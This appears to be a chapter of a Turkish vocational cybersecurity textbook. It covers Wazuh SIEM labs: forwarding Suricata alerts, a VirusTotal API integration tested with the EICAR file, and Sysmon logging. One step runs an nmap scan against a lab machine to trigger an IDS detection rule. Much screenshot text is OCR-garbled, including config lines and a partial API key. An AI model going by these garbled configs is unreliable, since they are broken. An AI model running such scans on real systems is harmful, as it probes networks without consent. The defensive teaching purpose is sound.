1:182436415] €T SCAN Possible Mmap User-Agent Observed [**] [Classi¥ication: web Application Attack] [Priority: 1 -
1:2074384:5] U7 SCaN Possible Nesp User-agent Observed [**] [Classification: web Application At [orioriey: 1 =
1:182436415] ET SCAN Possible Mmap User-Agent Observed [**] [Classification: web Application At [Priority: 1 -
1:3024364:5] 17 SCAN Possible Mmap User-Agent Observed [*°] [Classification: web Application At feriocity: 1 -3 o |
8415/ 1005 1:3024364:5] ET SCAN Possible Mmap User-Agent Observed [ [classification: web Application Attack] [Priority: 1] {TCP} 192.168.1.186:35168 -» 192.168.1,27:5357 ~1
5t1,5m1 % ‘Windaws (CRLF) UTF-8

Gorsel 3.65: Suricata log kayitlar

4. Uygulama

Acik kaynak kodlu Suricata saldiri tespit sisteminden elde edilen loglarin Wazuh SIEM yazilimina
yonlendirilmesi islemini verilen adimlar dogrultusunda gerceklestiriniz.

1. Adim: C:\Program Files (x86)\ossec-agent\ossec.conf dizininde bulunan konfiglirasayon dosyasini,
Suricata loglarini yonlendirecek sekilde Gorsel 3.66°daki gibi diizenleyiniz.

<!-- Log analysis -->

<localfile>
<location>Application</location>
<log_format>eventchannel</log format>

</localfile>

<localfile>
<location>Security</location>
<log format»>eventchannel</log format>
<query»>Event/System[EventID != 5145 and EventID != 5156 and EventID != 5447 and
EventID != 4656 and EventID != 4658 and EventID != 4663 and EventID != 466@ and
EventID != 467@ and EventID != 469@ and EventID != 4703 and EventID != 4907 and
EventID l= 5152 and EventID l= 5157]</query>
</localfile>

<localfile>

<log format>json</log format>

<location>C:\Program Files\Suricata\log\eve.json</location>
k/localfile>

<localfile>

<location>System</location>

<log format>eventchannel</log format>
</localfile>

Gorsel 3.66: Ossec dosyasi yapilandirmasi
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2. Adim: Yapilan degisikliklerin gecerli olabilmesi icin Wazuh sunucusunun kurulu oldugu Ubuntu
cihazda sudo systemctl restart wazuh-manager komutunu kullanarak Wazuh hizmetlerini, Agent
yaziliminin kurulu oldugu Windows isletim sistemine sahip cihazda ise sirasiyla net stop wazuh ve net
start wazuh komutlarini kullanarak Wazuh Agent hizmetini yeniden baslatiniz.

3. Adim: Kali Linux isletim sistemini kullanarak Agent cihaz lzerinde bir nmap taramasi gerceklestiriniz
(Gorsel 3.67).

- | root@kali: /home/kali

Dosya Eylemler Diizen Goriinim Yardim

Host is up (
Not shown: S

ft Windows RP
ft Windows netbios-ssn

e report any incorrect results at https:
1 IP address (1 host up) scanned in 14. econds
/home /kali
Z.168.1.27

-15 19:06 EDT

S up
Not shown:

rk Technolc
Nmap done: 1 IP address (1 host up) scanned in 1.81 seconds

/home/kali

Gorsel 3.67: Kali ile tarama gerceklestirilmesi

4. Adim: Wazuh SIEM yazilimini agip dashboard {izerinde sisteminize yapilan nmap taramasinin izlerinin
Suricata’dan yonlendirilerek geldigini Gorsel 3.68'deki gibi gorlintileyiniz.

€& 3 O (0 Gownildedil e/ 1021681145/ app waruhs w2t oralfitabiView= & g={filters:{) refreshinterval (psuse:t val time:{Framenow-24h lanow])&_a g 2 Ol &£ 4
= O wazuh. v | Wodies winsur Security events @ a
Time - Techniqueds| Tactkis| Description Level Ruile ID

Service star AN 3 1
— Persistence, Priviage Escaiation o ‘ e
r1078 vasion, Persistence, Priviege Escaiation, o
Summary event of signatures s 60608
78 e Esc Windows Ion SLCcess. 3 L

Summary event of the repors signatures 4

Gorsel 3.68: Suriacata log yonlendirmesi
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5. Adim: Suricata IDS/IPS sisteminden yonlendirilen loglarin kurallarini (Rules) Goérsel 3.69’da oldugu
gibi filtreleyiniz.

+ Add filter

EDITFILTER Edit as Query DSL
Field Operator

rule.groups ~ is ~
Value

suricata v

X Create custom label?

Cancel Save

Gorsel 3.69: Kurallarin filtrelenmesi

6. Adim: Wazuh dashboard (zerinde Suricata tarafindan yonlendirilen loglarin alarmini inceleyiniz
(Gorsel 3.70).
rule groups: suricata x|+ Add filter

1 hit

Apr 15, 2025 @ 021558 829 - Apr 16, 2025 @ 021558 829  Auto ol

Count

timestamp per 30 minutes
Time = rule.description rule level rule.id

Apr 16, 2025 ¢ 92:06:24.342 Suricata: Alert - ET SCAN Possible Mmap User-Agent Observed 3 B6681

Gorsel 3.70: Kurallarin filtrelenmesi

7. Adim: Glvenlik olaylari modiliine girerek yonlendirilen log alarminin detaylarini goriintileyiniz
(Gorsel 3.71).

Modules winsur Security events @

I @ data.alert.signature ET SCAN Possible Nmap User-Agent Observed I
@ data.alert.signature_id 2024364
@ data.app_proto http

I © data.dest_ip 192.168.1.27
@ data.dest_port 8443
@ data.direction to_server
@ data.event_type alert
@ data.flow.src_ip 192.168.1.108@
@ data.flow.src_port 55526

Gorsel 3.71: Alarm detaylari
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8. Adim: Yonlendirilen logun geldigi ajan detaylarini, alarm kategorisi gibi kayitlari inceleyiniz (Gorsel
3.72).

UMESTEMP PEr SU minues
Time - rule.description rule.level rule.id

Apr 16, 2015 0 82:96:24.542 Suricata: Alert ET SCAN Possible Hmap User-Agent Observed 3 266017
[ Expanded document View surmounding documents View sngla d

Table JSON

o _index wazuh-alerts-4_x-2825.84 .15

t agent.id am

I agent.ip 192.168.1.27

I agent . name winsur
data.alert.action allowed
data.alert.category Web Application Attack
data.alert.gid 1

data.alert.metadata.arfected_product Any

Gorsel 3.72: Alarm detaylari

3.2.1.3. APl Entegrasyonuyla Log Yonetimi

Log yonetimi, siber glivenlik mimarilerinin omurgasini olusturan, sistemlerdeki olaylarin kayit altina
alinip analiz edilmesini saglayan cok énemli bir siirectir. Ozellikle biiyiik ve daginik yapilarda log
kaynaklarinin cesitliligi ve blyikligl g6z 6ninde bulunduruldugunda standart yontemlerle bu verilerin
ybnetilmesi neredeyse imkansiz hale gelir. Bu noktada APl (Application Programming Interface) tabanli
entegrasyonlar devreye girerek glivenlik Grilinleri ve log yonetim sistemleri arasinda otomatik veri akisi
saglar. APl entegrasyonu sayesinde sistemler arasi gergek zamanli log iletimi, loglarin siniflandirilmasi,
filtrelenmesi ve merkezi bir platformda anlamli hale getirilmesi kolaylasir.

Wazuh, acik kaynakli bir SIEM ve XDR platformu olarak RESTful APl destegiyle gelismis bir log toplama
ve yonetim altyapisi sunar. Bu API’ler araciligiyla hem ajanlar hem de t¢linci taraf sistemlerle ¢ift yonla
iletisim kurularak log verilerinin merkezi yonetime aktarilmasi saglanir. Kullanicilar; tehdit algilama, olay
yaniti, kural glincellemeleri, ajan yonetimi gibi islemleri API (izerinden otomatiklestirir. Bu entegrasyon
Ozelligi sayesinde Wazuh, yalnizca bir log deposu degil ayni zamanda aktif bir glivenlik sistemi haline gelir.
Bu kapsamda uygulanacak 6érnek API entegrasyonlarindan biri de VirusTotal servisi ile gerceklestirilir.
VirusTotal, dosya ve URL analizlerini ¢ok sayida antivirlis motoru ve tehdit istihbarat kaynagi Gizerinden
gerceklestiren bulut tabanli bir hizmettir. Wazuh ile VirusTotal APl entegrasyonu sayesinde Wazuh
tarafindan tespit edilen siipheli dosya hashleri, otomatik olarak VirusTotal’a génderilebilir ve alinan
sonuglar dogrultusunda olaylara iliskin daha derin analizler yapilabilir. Bu entegrasyon, yalnizca stpheli
etkinliklerin dogrulanmasi agisindan degil ayni zamanda otomatiklestirilmis tehdit istihbarat akisi ve
karar destek mekanizmalarinin kurulmasi agisindan da 6nemli katma deger saglar.
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5. Uygulama

VirusTotal sistemi ile Wazuh SIEM yazilimi arasinda APl entegrasyonunu verilen adimlar dogrultusunda
gerceklestiriniz.

1. Adim: VirusTotal sitesine giris yaptiktan sonra Gorsel 3.73’te isaretlenen alana tiklayarak API
anahtarinizi elde ediniz.

“« ¥ @ 5 vinustotal.com, 1 tegmyapik B & )

APt Ky

Settings

5fE11402250910d4

and 5o it does not have

Must not be used in business workflows, commercial products or services.
Requestrate 4 loakups Python elient
Dalyguota 50

Monthly quota ok !
Want ta leam more about how our intelligence can sipercharge your security operatio

overview brief,

Go premium Use in browser Discover feeds.

Gorsel 3.73: APl anahtarinin elde edilmesi

2. Adim: Ubuntu Server isletim sistemi lizerinde kurulu olan Wazuh SIEM yaziliminda ossec.conf
dosyasini bir metin dizenleyiciyle acip, elde ettiginiz APl anahtarini kopyalayarak Gorsel 3.74'te
belirtilen yapilandirma ayarlarini bu dosyaya ekleyiniz.

i root@mesleklisesi: /home/mtegm

cation>

sec_config>

ec_config>

<integration>

<name>virustota

bb265cd7eeab5f6114:

<alert format>json</alert format:
integration>

sec_configrg

Gorsel 3.74: APl entegrasyon ayarlarinin, yapilandirma dosyasina eklenmesi
SIBER OLAYLARA MUDAHALE
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3. Adim: Wazuh Agent’in, Windows sistem Uzerinde belirli bir dizini gercek zamanl olarak izleyebilmesi
icin ossec.conf yapilandirma dosyasina Gorsel 3.75’teki satiri ekleyiniz.

<directories check_all="yes" report_changes="yes" realtime="yes">C:\Users\murat\Documents</directories>

Gorsel 3.75: izlenecek dizinin eklenmesi

Bu adim, belirli bir klasér icin Gercek Zamanh Dosya Biitiinliigli izleme (FIM)
ayarinin yapilandirilmasi islemidir. Bu adimda bulunan yapilandirmanin ardindan
Wazuh Agent servisi yeniden baslatilmalidir.

4. Adim: EICAR.com (veya EICAR test dosyasi), gercek bir zararl yazilim icermeyen ama antivirls
yazilimlari tarafindan test amaciyla tehdit olarak algilanacak sekilde tasarlanmis 6zel bir test dosyasidir.
Bu test dosyasini bilgisayarinizin 3. Adimda belirtilen gercek zamanl izlenen klasoriine indirerek API
entegrasyonunun testini gerceklestiriniz (Gorsel 3.76).

€ 5 O O Givenldedil  lettpsy/192.168.1.156/app/waruhd/ overiew Tiab=generlf_g={fiters ). refreshintenvalipausestvalucO) timesfromnow-28h fenow))&agentid=0038&tabvi.. 8 & ©® Ol & 0
= (O WAzZUuh. ~ | wodses | LAPTOP-STUES. Secutty events @ -
Top & alens & Top & rule groups r

Top & PCI DSS Requirements

@ Windows lagon suc

@025

P\ U ons

. on_suee. @ 105

4 [ E5

@ system_error @ 1081

@ Windows System er
@ File deleted

@ Filg acded 1o the sy.

@ Soltware protection,

Security Alarts

T Technigqusis) Tacticis) Descrigtion Level Fose 1D
. ;nrﬂiﬂfz;‘rlﬁ:m T1203 Execution ;‘;i:c::"dﬂm:“‘?l: cluse Jaicar com b - 65 " £
% ;:.r;:);na?;@ File added 1o fhe system 5 554
) aizsu 1203 Exocaton ST o wgne s ate 2 e7105

Gorsel 3.76: API entegrasyon testi

5. Adim: Wazuh SIEM vyaziliminda taniml kurallar geregi ilk uyarinin sisteme bir dosya indirilmesi
oldugunu, ikinci uyarinin ise bu dosyanin VirusTotal tarafindan zararli yazihm olarak algilandigini
dashboard lizerinden izleyiniz ve her iki alarmi Gorsel 3.77'de gosterildigi sekilde goriintileyiniz.

Tap 8 alents " Top S rule groups " Top 8PCI DSS Requiremants

@ Windows logon suc.

@ windows & 1025
“ = @ Windows System er. @ windows_security “' ®ns
‘ o @ Filo dateted @ authenbication_succ... ® 06
@ File added 10 the sy. @ windows_systeen &2
@ Software protection @ systemn_error ® 061
Security Alerts
Time 4 Techniques) Tacticis) Descripsion Level Rule 1D
May 6, 2005 @ T1203 Exacision 2. UYARI VirusTotal' Alert - ¢ 'usersimuratidocuments'aicar com bd - 65 engines 12 87105
204027 114 dotoctod thes Bl

May 6, 2025 @
L S " i

Gorsel 3.77: FIM kurallari alarmi
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6. Adim: Sisteme diisen alarmin detaylarini goriintileyiniz (Gorsel 3.78).

Y wazuh. v

dala viruslolal mabcous

LAPTOP-STUES... Security events @

1

data virustotal permalink

hitps-ffwww.virustotal com/guifile/275a02 1bbfbe489e54d47 180017 dbad 1663fcbibecfola2cd53Baablt

275a02 1bbibE480e54d47 18097 dbSd 166 30A85ec 2e2a2c1538aab 651 fd0l. 1 TAG556663

fiont-

data virustotal posiives

data virustotal scan_date
data virustotal shat

data virustotal source.alert_id
data virusiolal sowrce file
data virustolal source mda
data virustotal source shat

dala virustolal total

65

2025.05.06 183743

A3850560eB 1207 302 den T 2602HTHELGA2114140

1746556825 1791386

Cusers'murat\documentsigicar com txt

4406861 2ea0abiGdes2e1 2T8abb02!

3305856ceE112bT 382deeT 26027 HELG4 2114140

68

decoder name json

id 1746556827 1792635

ngul typa log

location wirustolal

manager name miesleklisesi

rule descrplon Virws Total. Aler . ¢ wsersimural'documents'eicar com. - 63 engines detected this e
rube firedtimes 3

rule gdpr W 357d

Gorsel 3.78: Alarm detaylari

3.2.2. Windows Sistemlerde Log Yonetimi

Windows isletim sistemlerinde gerceklesen glivenlik olaylarinin ayrintili bir sekilde izlenmesi, saldiri
tespiti ve olay midahalesi bliyik 6nem arz eder ancak varsayilan Windows olay gunliikleri, birgok
onemli faaliyeti ya ylizeysel olarak isler veya hi¢ kayda almaz. Bu nedenle daha gelismis araclara
ihtiyac duyulur. Sysinternals ailesinden olan System Monitor (Sysmon), Microsoft’un sundugu, sistem
diizeyinde kapsamli olay izleme imkani saglayan glicli bir uygulamadir.

Kurulumunun sonrasinda Sysmon’un sistem hizmeti ve cekirdek seviyesi, bir slirlic olarak calisir ve
sistem yeniden baslasa dahi aktif kalir. islem baslatma, ag baglantisi olusturma, dosya erisimi gibi
sistemdeki distk seviyeli etkinlikleri loglayarak giivenlik analizi yapilmasina imkan tanir. Sysmon,
kendi basina analiz yapmaz ancak SIEM sistemleri (6rnegin Wazuh) ile entegre calisarak bu verilerin
anlamlandirilmasina ve tehditlerin tespitine katki saglar.

Sysmon’un Genel Ozellikleri

Sysmon’un sundugu o6zellikler sayesinde sistemde gerceklesen olaylar daha ayrintili bicimde kaydedilir
ve analiz edilebilir. Sysmon’un 6nemli bazi 6zellikleri sunlardir:

islem Olusturma Takibi: Baslatilan islemleri, hangi komutla ve hangi Ust islem tarafindan cagrildigini
icerecek sekilde kaydeder.

Dosya Hash Kaydi: Calistirilabilir dosyalar icin SHA1, SHA256, MD5, IMPHASH gibi algoritmalarla dosya
Ozetini ¢ikarir.

Benzersiz Tanimlayicilar (GUID): Her islem ve oturum igin benzersiz kimlikler olusturularak olaylar
arasinda guvenilir iliskilendirme saglanir.
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DLL/Siirlicti Yiiklemeleri: Sisteme yiklenen kutlphane (DLL) ve sruculer, loglara dijital imzalari ve
hashleriyle birlikte kaydedilir.

Ag Baglantisi izleme: Her ag baglantisi icin kaynak islem, hedef IP, baglanti noktasi ve protokol bilgileri
ayrintih sekilde giinlige alinabilir.

Zaman Damgasi Manipiilasyonlarinin Tespiti: Dosyalarin olusturulma zamanlarinda yapilan
degisiklikleri algilayarak iz kaybi girisimlerinin fark edilmesini saglar.

Dinamik Kural Filtreleme: Belirli olay tirlerinin loglanmasi veya dislanmasi icin esnek kurallar
tanimlanabilir.

Yapilandirma izleme: Konfigiirasyon dosyasinda yapilan degisiklikleri anlik olarak algilar ve kendini
yveniden yukleyerek uygular.

Onyiikleme Siireci izleme: Kétii amagli yazilimlarin sistem acilisi sirasinda gerceklestirdigi eylemler
dahil olmak tzere, en erken sistem etkinliklerini dahi gézlemleyebilir.

Sysmon, saldirganlarin sistem Uzerinde gerceklestirdigi davranislari belirlemek acisindan 6nemli
bilgiler sunar. Ozellikle sizma sonrasi hareketlerin, yetki yiikseltme girisimlerinin veya kalicihk saglama
islemlerinin izlenmesinde oldukga etkilidir. Wazuh gibi bir SIEM platformu tzerinden bu loglarin merkezi
olarak toplanmasi ve korelasyonu, tehditlerin erken asamada tespit edilmesini mimkin kilar. Her ne
kadar Sysmon olaylari detayli bicimde kaydetse de bu olaylarin analiz edilmesi tamamen dis sistemlerin
(analistler, SIEM araglari) sorumlulugundadir. Ayrica Sysmon, kendini gizlemeye veya korumaya yonelik
bir ¢c6ziim olmadigindan, saldirganlar tarafindan tespit edilip etkisiz hale getirilebilir. Bu nedenle, Sysmon
loglarinin glivenli bicimde iletilmesi, degistirilmesinin engellenmesi ve dizenli olarak gézlemlenmesi
onerilir.

- 6. Uygulama

Sysmon’un kurulum ve yapilandirma islemlerini verilen adimlar dogrultusunda gergeklestiriniz.

1. Adim: Sysmon uygulamasinin orijinal ve glincel sirim{nl resmi sitesinden indirerek gerekli dosyalari
temin ediniz.

2. Adim: indirdiginiz Sysmon.zip arsiv dosyasini uygun bir dizine ¢ikartiniz.

« Sysmon.exe (32-bit sistemler igin)
- Sysmonb64.exe (64-bit sistemler igin)

« Eula.txt

Sysmon kurulumu sirasinda bir yapilandirma (config) dosyasina ihtiya¢ duyar. Bu
dosya, hangi olaylarin loglanacagini belirler.

3. Adim: Yapilandirma dosyasi i¢in agik kaynak olan SwiftOnSecurity tarafindan saglanan konfiglirasyon
dosyasini https://github.com/SwiftOnSecurity/sysmon-config adresinden indirip, YAML veya XML
formatinda olan bu dosyayi sysmonconfig.xml adiyla kaydederek kurulum icin hazir bulundurunuz.
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4. Adim: Windows Uzerinde Sysmon’u kurmak icin Komut istemi’ni yonetici yetkisiyle calistiriniz ve

Gorsel 3.79’daki komutu giriniz.

-accepteula -i sy

activity
Gar

All Rights R

installed.
) installed.

Gorsel 3.79: Sysmon’un kurulumu

5. Adim: Sysmon yapilandirma ayarlarini gortintileyiniz (Gorsel 3.80).

2 Daniel Veillard. All Rights Reserved.

Gorsel 3.80: Sysmon yapilandirma ayarlari

6. Adim: Kurulum tamamlandiktan sonra Sysmon loglarini, Windows Olay GunlUgl Uzerinden
Application and Services Logs -> Microsoft -> Windows -> Sysmon -> Operational adimlarindan Goérsel
3.81'deki gibi goriintileyiniz.

[

|l
| Dosya Eylem Gorindm  Yardim
= uh 7]
SmartCard-TEM-VCard-Module Operational  Olay sayist: 677 () Yeni olaylar var [ Eylomler
SmartSereen -
SMBClient Duizey Tarih ve Saat =~ |l| Operational
SMBServer @ Bilgi 8052005 1740715 Kaydedilen Ginlaga Ag-
SMBWitnessClient b gilgi BOs AR5 17015 ¥ Ozel Gérlnim Olugtur..
StateRepository i) Bilc 8052025 170714
SRR = 9 7 4 = Crrel Garinim Al
Storage-Tiering i) Bilgi BOS 02517
StorageManagement 2 5 GUnldga Temizle-.
StorageSettings T * ¥ Gecerli Gunliige Filtre Uygula..
Storagespaces- Driver Olay 11, Sysman
StorageSpaces-ManagementAgent ztlikter
Si - '
3 Geriel s
StorageSpaces-SpaceManager SENE HAH Giinligi Devre Dig Birak
StorDiag T o
r[u iag e 0 sl
e [RuleMame: - b Tim Olaylan Farkh Kaydet..
Ayt |Ute Time: 2025-05-08 14:07:15.337 5 g
Slorvg |ProcessGuid: {d&cf5757-edB2-6819-1300-000000008800) BuGanl0ge Gorev Eide-.
¥ Sysmon Gérlndm

| | Operational | Gunlak Adi Microsoft-Windows-Sysmon/Operational |

- - = 3 Yenil

ystembettings | hreshol Kaynak: Sysmon Ganlige kaydedilen: 80520251 E B
l;:':;"'e‘”e' Oloy Kimbige: 11 Gérev Kategorsic  File createc B vaden

Gorsel 3.81: Sysmon loglarinin goriintiilenmesi
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7. Adim: Sysmon loglari diismeye basladiginda loglarda bulunan diizey, zaman damgasi, kaynak, olay
kimligi ve gorev kategorisi kisimlarini inceleyiniz (Gorsel 3.82).

Operational  Olay sayisi: 699 (1) Yeni olaylar var

i)Bilgi 805.2025 17:09:04 Sysmen 22 Dns query (rule: DnsQuery)
fi)ei\gl 805.2025 17:09.00 Sysmon 1 Process Create (rule: ProcessCr...
(j}ﬁi\gi 805.2025 170900 Sysmon 1 Process Create (rule: ProcessCr...
ﬁ_)ﬂi\gi 8.05.2025 17:09:00 Sysman 1 Process Create (rule: ProcessCr..
@‘ﬂi\gi 805.2025 17:08:03 Sysman 13 Registry value set (rule: Regist..
(Deilgi 8052025 170802 Sysmon 13 Registry value set (rule: Regist..
805.2025 170802 Sysmon 13 Registry value set (rule: Regist..
(i) Bilgi 805.2025 17:08:02 Sysman 13 Registry value set (rule: Regist...
(Dﬂi\gi 805.2025 17:0802 Sysmon 13 Registry value set (rule: Regist..
(l‘ﬂi\gi 805.2025 17:.0801 Sysmon 5 Process terminated (rule: Proce..
(i Igi 805.2025 170801 Sysmon 5 Process terminated (rule: Proce..
@‘8i[gi 8.05.2025 17:0801 Sysmon 1 Process Create (rule: ProcessCr..
(DEi\gi 8.05.2025 17:0801 Sysmon 11 File created (rule: FileCreate)
805.2025 17:0801 Sysmon 13 Registry value set (rule: Regist...
805.2025 170801 Sysmon 1 Process Create (rule: ProcessCr..

Gorsel 3.82: Sysmon log ayrintilari

Arastirma

Sysmon tarafindan dretilen olay kimlik (Event ID) numaralarini, bu kimliklerin her birinin hangi
tr sistem etkinliklerini temsil ettigini, glivenlik olaylarinin analizinde bu kimliklerin dGnemini ve
kullanimini arastiriniz.

- 7. Uygulama

isletim sisteminde PowerShell calistirildiginda Sysmon tarafindan log olusturulmasini saglama ve log
ayrintilarini gérintileme islemlerini verilen adimlar dogrultusunda gergeklestiriniz.

1. Adim: isletim sisteminizi kullanarak PowerShell uygulamasini ¢alistiriniz ve sonrasinda kapatiniz
(Gorsel 3.83).

E¥ Administrator: Windows PowerShell - O X

soft Corporation. All ri

platform PowerShell h

em32> MTEGM - SIBER Ol SYSMON UYGULAMA

Gorsel 3.83: PowerShell ¢alistrma
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2. Adim: Sysmon loglarini, olay gorintileyicisini acarak listeleyiniz ve PowerShell ile ilgili olan log
kaydini gérintileyiniz (Gorsel 3.84).

Operational  Olay sayisi: 53.115 (1) Yeni olaylar var
Diizey Tarih ve Saat Kaynak Olay Kimligi  Gorev Kategorisi o
@ Bilgi 23.06.2025 13:15:18 Sysmon 3 Network connection detected ..
® Bilgi 23062025 13:15:18 Sysmoen 3 Network connection detected ..
® Bilgi 23062025 13:15:18 Sysmon 3 Network connection detected ..
i m
I 3 Sysmon ocess -
- oo e —eerentet e G
@ Bilgi 23062025 13:15:06 Sysmon 1 Process Create (rule: ProcessCr..
@ Bilgi 23.06.2025 13:15:05 Sysmen 1 Process Create (rule: ProcessCr..
@ Bilgi 23.06.2025 13:15:05 Sysmon 1 Process Create (rule: ProcessCr..
® Bilgi 23.06.2025 13:15:03 Sysmon 11 File created (rule: FileCreate)
® Bilgi 23.06.2025 13:15:03 Sysmen 11 File created (rule: FileCreate)
@ Bilgi 23.06.2025 13:14.54 Sysmon 22 Dns query (rule: DnsQuery)
@ Bilgi 23.06.2025 13:14:49 Sysmon 22 Dns query (rule: DnsQuery) A
Olay 1, Sysmon x
Genel  Aynntilar
Kaynak: Sysman Gunlige kaydedilen: 23062025 13:15:11 i
Olay Kimligi: 1 Gorev Kategorisi: Process Create (rule: ProcessCreate)
Diizey: Bilgi Anahtar Sozciikler:
Kullamicr: SYSTEM Bilgisayar: LAPTOP-S7UE957R
Islem kodu: Bilgi
Ek Bilgi: Olay Gunliga Cevrimici Yardirmi =

Gorsel 3.84: PowerShell Sysmon logu

3. Adim: Olay numarasi 1 (bir) olan log kaydini tiklayarak aciniz ve ayrintilarini inceleyiniz (Gorsel 3.85).

@ Olay Ozellikleri - Olay 1, Sysmon

Genel  Ayrintilar

=

Processid: 36652

Image: C:\Windows\System32\cmd.exe

FileVersion: 10.0.19041.4355 (WinBuild.160101.0800)
Description: Windows Command Processor

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

QriginalFileName: Cmd.Exe

CommandLine: "C:\windows\system32\cmd.exe”
CurrentDirectory: C:\windows\system32\

User: LAPTOP-S7UE957R\murat

LegonGuid: {d6cf5757-37d9-684c - Tefa-020000000000}
Logonid: Ox2FATE

TerminalSessionld: 1

IntegrityLevel: High

Hashes: MD5=2B40C98EDOF7A 1D3B091A3EB353132DC, SHA256
=BADF4752413CBOCBDCO3FB95820CA 167F0CDCE3B597CCDB5EF43111180E088B0,IMPHASH=
212 2ASE 2988 TEA3U500BE5 2 AT BoE

1L
ParentProcessGuid: {d6cf5757-292a-6859-8b3e-000000008d00}
ParentProcessld: 37820
Parentimage: C:\Windows\System 32\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: "C:\Windows\System 32\WindowsPowerShell\v1.0\powershell.exe"
ParentUser: LAPTOP-S7UE957R\murat
Ganlik Adi: Microsoft-Windows-Sysmon/Operational
Kaynak: Sysmon Giinldge kaydedilen: 23062025 13:15:11
Olay Kimligi: 1 Gérev Kategorisi: Process Create (rule: ProcessCreate)
Dazey: Bilgi Anahtar Sozcikler:
Kullanicr: SYSTEM Bilgisayar: LAPTOP-S7UE957R
Isler kodu: Bilgi
Ek Bilgi: Olay Giinliga Cevrimigi Yardimi
Kopyala |

Gorsel 3.85: Log ayrintilari
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- 8. Uygulama

Sysmon loglarinin Wazuh SIEM uygulamasliyla entegrasyonunu verilen adimlar dogrultusunda saglayiniz.

1. Adim: Wazuh SIEM yaziliminin ossec.conf dosyasina ulasarak Sysmon icin gerekli yapilandirma
komutlarini ekleyiniz (Gorsel 3.86).

j *ossec.conf - Not Defter I — O =

Dosya Duazen Bigim Gorindm  Yardim

<localfile»

<location>System</location>

<log format>eventchannel</log format>
</localfile>

<localfile>
<location>active-response\active-responses.log</location>
<log_format>syslog</log_format>

</localfile>

<localfile>»
<location>Microsoft-wWindows-Sysmon/Operational</location>
<log_format>eventchannel</log_format>

</localfile>

Gorsel 3.86: Sysmon ile Wazuh entegrasyon yapilandirmasi

2. Adim: Yapilandirma degisikliklerinin etkin olmasi icin Wazuh Agent hizmetini yeniden baslatiniz.

Wazuh (zerinde Sysmon decoder ve alarmlar bulunur. Ayarlarla ilgili degisiklik
yapmak istenirse kural setleri (Rule Set) Gizerinde ayarlamalar yapilabilir.

3. Adim: Wazuh dashboard lzerinden Syslog kayitlarini gértintileyiniz.

Sira Sizde

Bilgisayarinizda Yerel Giivenlik ilkesi tizerinden giivenlik loglarinin kaydinin tutulmasini
aktif hale getirecek islemleri ve hangi olay tirlerini (6rnegin oturum a¢gma, nesne erisimi
vb.) loglamayi tercih ettiginizi belirten uygulamayi gerceklestiriniz.
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3.2.3. Log Analizi ve Ayristirma Siiregleri

Bilgi glivenligi alaninda etkili bir tehdit tespiti ve olay miidahalesi icin en dnemli kaynaklardan biri de
sistemlerden, ag cihazlarindan ve glivenlik yazihmlarindan toplanan log kayitlaridir. Bu loglar genellikle
ham veri bicimindedir. Karmasik, uzun, daginik ve cihazdan cihaza farklihk gésteren yapilari nedeniyle
dogrudan analiz edilmesi zordur. iste bu noktada devreye log analizi ve ayristirma siiregleri girer.

Log analizi sadece veriye bakmak degil veriyi anlamlandirmak, siniflandirmak ve iligskilendirmek
anlamina gelir. Bu siregler sayesinde, siradan gibi goriinen kayitlar igcinden bir siber saldirinin ipuglari
veya sistemdeki anormal davranislar tespit edilebilir. Ornegin bir kullanicinin 10 dakika icinde farkli
Ulkelerden sisteme giris yapmaya calistigini ham loglardan fark etmek oldukga zorken, dogru analiz
slireciyle bu durum saniyeler icinde risk olarak raporlanabilir. Bu analiz stireci genellikle dort temel
asamadan olusur:

Normalizasyon: Farkli cihazlardan gelen loglarin ortak bir yapiya déndstirialmesidir.
Siniflandirma: Loglarin olay tirlerine gore kategorilere ayrilmasidir.

Korelasyon: Birden fazla logun bir araya getirilerek anlamli olaylar olusturulmasidir.

P W N PR

Kullanici odakh analiz: Ozellikle kullanici davranislarini temel alarak siipheli aktivitelerin
belirlenmesidir.

Sayilan asamalar sayesinde glivenlik ekipleri, karmasik veri yiginlarini sadelestirerek anlamh bilgiler
elde eder. Tehditlere karsi hizli ve etkili 6nlemler alabilir. Ayrica bu siireglerin otomatik hale getirilmesi,
ozellikle bliylik sistemlerde ciddi bir zaman kazanci saglar ve hatalari en aza indirir. Wazuh gibi agik
kaynak SIEM ¢o6zliimleri, bu islemleri otomatiklestirmek ve gorsellestirmek acgisindan oldukga etkili
araglardr.

3.2.3.1. Log Normalizasyonu

Log normalizasyonu, siber giivenlik alaninda veri analizi yapilabilmesi i¢in atilan en 6nemli adimlardan
biridir. Farkli kaynaklardan ( firewall, web sunucusu, veri tabani sistemi, antiviris yaziimivb.) gelen loglar
genellikle kendi Ureticisine 6zel bigcimde ve farkli ifadelerle kayit altina alinir. Ayni olayi ifade eden iki
farkh cihaz; tamamen farkli s6zclikler, veri yapilari veya zaman damgalari kullanabilir. Bu durum 6zellikle
cok sayida sistemin izlendigi ortamlarda log analizi yapmayi karmasik hale getirir. iste bu noktada log
normalizasyonu, baska bir ifadeyle loglarin belirli bir standart yapiya dénustirilmesi devreye girer.
Amag, bu farkh yapidaki verileri ortak bir sablona oturtarak hem insanlar hem de giivenlik analiz araglari
tarafindan kolayca anlasilir ve islenebilir hale getirmektir. Ornegin bir logda “source IP” olarak gecen
bilgi; baska bir sistemde “src”, bir digerinde “origin_ip” biciminde gegebilir. Normalizasyon sayesinde
bu farkhilklar ortadan kaldirilir ve tim bu alanlar, ortak bir baslik altinda (6rnegin srcip) toplanir. Bu
slire¢ sonucunda loglar genellikle su standart alanlara dontsturalir:

- srcip (kaynak IP adresi)

« dstip (hedef IP adresi)

« user (kullanici adi)

« action [islem tlrG (6rnegin erisim reddedildi, basariyla giris yapildi vb.)]

« timestamp (zaman damgasi)

SIBER OLAYLARA MUDAHALE
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Ornegin SSH servisine basarisiz bir giris denemesi farkl sistemlerde su sekilde loglanabilir:

« Linux sunucuda

sshd[2456]: Failed password for invalid user mtegm from 192.168.1.100 port 22 ssh2

« Givenlik duvarinda

Login failed - User=mtegm I1P=192.168.1.100 Method=SSH

Normalizasyon yapilmadigi siirece bu iki logun ayni olaya isaret ettigini anlamak hem yazilimlar hem de
insanlar icin zor olabilir ancak normallestirilmis log Gorsel 3.87°deki gibi standart bir yapi alir.

{
"U.Ser": Tlmteg-rn"!
"srcip™: "1%2.168.1.100",
"event": "authentication failure",
"service™: "SSH",
"timestamp": "2025-06-28T10:25:14"

Gorsel 3.87: Normalizasyon yapilmig log

Normalizasyon yapildiginda log hem okunabilir hem de korelasyon motorlari tarafindan kolayca
